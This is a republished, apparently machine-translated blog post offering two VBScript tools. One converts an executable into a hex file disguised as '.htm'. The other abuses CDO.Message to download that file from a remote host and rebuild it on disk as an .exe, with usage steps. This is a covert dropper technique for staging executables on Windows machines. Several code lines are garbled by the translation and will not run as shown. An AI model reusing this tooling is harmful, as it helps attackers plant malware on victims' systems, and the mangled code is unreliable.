A new method for VBS downloading files _vbs

Source: Internet
Author: User
The CDO was found when the blog backed up the script. Message can be accessed by Web downloads, which is said to be a research study that may be used as a download.
So I studied for a while. Write a rough demo.
Exe2hex.vbs//xiaolu wrote the Exe2vbs, I modified it into a direct drag-and-drop, turned to hexadecimal
================================================
Copy Code code as follows:

' Code by Xiaolu
' Change by Netpatch
On Error Resume Next
Set arg=wscript.arguments
If Arg.count=0 then Wscript.Quit
Do While 1
Fname=arg (0)
Err.number=0
Set Ado = CreateObject ("ADODB.stream")
With Ado
. Type = 1
. Open
. LoadFromFile fname
SS =. Read
End With
If Err.number<>0 Then
If MsgBox ("File Open Error!", 1, "File2vbs") =2 then Wscript.Quit
Else
Exit Do
End If
Loop
If Fname= "" then Wscript.Quit
Set fso=createobject ("Scripting.FileSystemObject")
Set File=fso. OpenTextFile (ARG (0) & ". htm", 2, True)
File.write BIN2STR (ss)
File.close
Set fso=nothing
Ado.close
Set abo=nothing
Function Bin2str (Re)
For i = 1 to LenB (Re)
BT = AscB (MidB (Re, I, 1))
If BT < Then bin2str=bin2str& "0"
Bin2str=bin2str & Hex (BT)
Next
End Function

======================================
Download by Down.vbs
=============
[Code]
On Error Resume Next
Set arg=wscript.arguments
If Arg.count=0 then Wscript.Quit
' Code by Netpatch
' cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject ("CDO.") Message ")
Mail1.createmhtmlbody Arg (0), 31
ss= Mail1.htmlbody
Set Mail1 = Nothing
Set rs=createobject ("ADODB. Recordset ")
L=len (ss)/2
Rs. Fields.Append "M", 205,l
Rs. Open:rs. AddNew
RS ("M") =SS&AMP;CHRB (0)
Rs. Update
Ss=rs ("M"). GetChunk (L)
Set s=createobject ("ADODB. Stream ")
With S
. Mode = 3
. Type = 1
. Open ()
. Write SS
. SaveToFile Arg (1), 2
End With
==================================
Demo.htm content when the use of exe2hex.vbs to the EXE obtained after
How to use:
1.exe2hex.vbs the exe into 16, put it on the network
2.down.vbs http://xxx/demo.htm C:\good.exe

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.